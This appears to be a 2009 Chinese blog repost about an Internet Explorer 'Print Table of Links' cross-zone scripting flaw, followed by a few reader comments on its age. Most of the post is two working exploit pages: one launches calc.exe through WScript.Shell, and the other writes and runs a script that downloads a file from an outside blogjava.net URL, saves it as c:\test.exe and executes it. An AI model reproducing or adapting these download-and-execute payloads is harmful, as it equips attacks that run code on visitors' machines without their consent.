酒水不犯茶水


叶的离去,是风的追求还是树的不挽留?
数据加载中……
以色列人发现的IE 0day (ZT)
测试成功,会运行计算器
只是利用起来有点 ... ...

这个漏洞是由于微软IE浏览器启动“Print Table of Links”时引起的跨站攻击(Cross-Zone Scripting )

如果启用了 "Print Table of Links",在打印一个网页的时候,能够导致执行任意代码。

1.选择“Print Table of Links”选项

2.把保存以下代码为HTML格式,用IE打开,并打印,会执行calc.exe。

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

 


以下代码自动下载http://www.blogjava.net/Files/baicker/calc.rar文件到c:\改名为test.exe,然后执行test.exe


<html>
<body>
点击选项,选中打印链表列表,点打印
<a href="http://www.bl.com?zzz=dsasad
<script defer>
var ForWriting = 2;
var strFile = 'c:\\test2.js';
var objFSO = new ActiveXObject('Scripting.FileSystemObject');
var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);
objStream.WriteLine('var objArgs = \'http://www.blogjava.net/Files/baicker/calc.rar\';');
objStream.WriteLine('var objargss =\'c:\\\\test.exe\';');
objStream.WriteLine('var sGet=new ActiveXObject(\'ADODB.Stream\');');
objStream.WriteLine('var xGet = false;');
objStream.WriteLine('try {');
objStream.WriteLine('xGet = new XMLHttpRequest();');
objStream.WriteLine('} ');
objStream.WriteLine('catch (trymicrosoft) {');
objStream.WriteLine('try {');
objStream.WriteLine(' xGet = new ActiveXObject(\'Msxml2.XMLHTTP\');');
objStream.WriteLine('} ');
objStream.WriteLine('catch (othermicrosoft) {');
objStream.WriteLine(' try {');
objStream.WriteLine(' xGet = new ActiveXObject(\'Microsoft.XMLHTTP\');');
objStream.WriteLine(' } ');
objStream.WriteLine('catch (failed) {');
objStream.WriteLine(' xGet = false;');
objStream.WriteLine(' }');
objStream.WriteLine('}');
objStream.WriteLine('}');
objStream.WriteLine('xGet.Open (\'GET\',objArgs.toLowerCase(),0);');
objStream.WriteLine('xGet.Send();');
objStream.WriteLine('sGet.Mode=3;');
objStream.WriteLine('sGet.Type=1;');
objStream.WriteLine('sGet.Open();');
objStream.WriteLine('sGet.Write (xGet.ResponseBody);');
objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);');
objStream.WriteLine('var x=new ActiveXObject(\'WScript.Shell\');');
objStream.WriteLine('x.Run(objargss);');
objStream.Close();
var objShell = new ActiveXObject('wscript.shell');
objShell.Run(strFile);
</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

posted on 2009-01-08 19:16 009 阅读(2482) 评论(7)  编辑  收藏 所属分类: 黑客技术

评论

# re: 以色列人发现的IE 0day (ZT) 2009-01-08 20:29 nbsi

让我想起了, 网易评论的一个笑话

第一次看到这个帖子的时候,猪肉还是5块
  回复  更多评论    

# re: 以色列人发现的IE 0day (ZT)[未登录] 2009-01-08 23:27 过客

楼上的真幽默
  回复  更多评论    

# re: 以色列人发现的IE 0day (ZT) 2009-01-09 08:23 lisl03

确实比较早了,08年8月份的事吧。
  回复  更多评论    

# re: 以色列人发现的IE 0day (ZT) 2009-01-10 12:59 009

我也就是拿过来做个记录,没说是最新的啊!
  回复  更多评论    

# re: 以色列人发现的IE 0day (ZT) 2009-01-10 17:57 shit

  回复  更多评论    

# re: 以色列人发现的IE 0day (ZT) 2009-03-31 08:59 虚拟主机

人家是拿来给这个站的访客做分享,非要管他什么时候出的干嘛
  回复  更多评论    

# re: 以色列人发现的IE 0day (ZT) 2009-03-31 11:38 009

@虚拟主机
理解万岁
  回复  更多评论    

标题  
姓名  
主页
验证码 *  
内容(请不要发表任何与政治相关的内容)  
  登录  使用高级评论  新用户注册  返回页首  恢复上次提交      
该文被作者在 2009-01-08 19:32 编辑过

2006 © 009网站 版权没有,任意拷贝
如有意见和建议,请 E-mail 至 baicker@hotmail.com
建议使用 Firefox & 微软雅黑字体进行浏览,最佳显示 1400*1050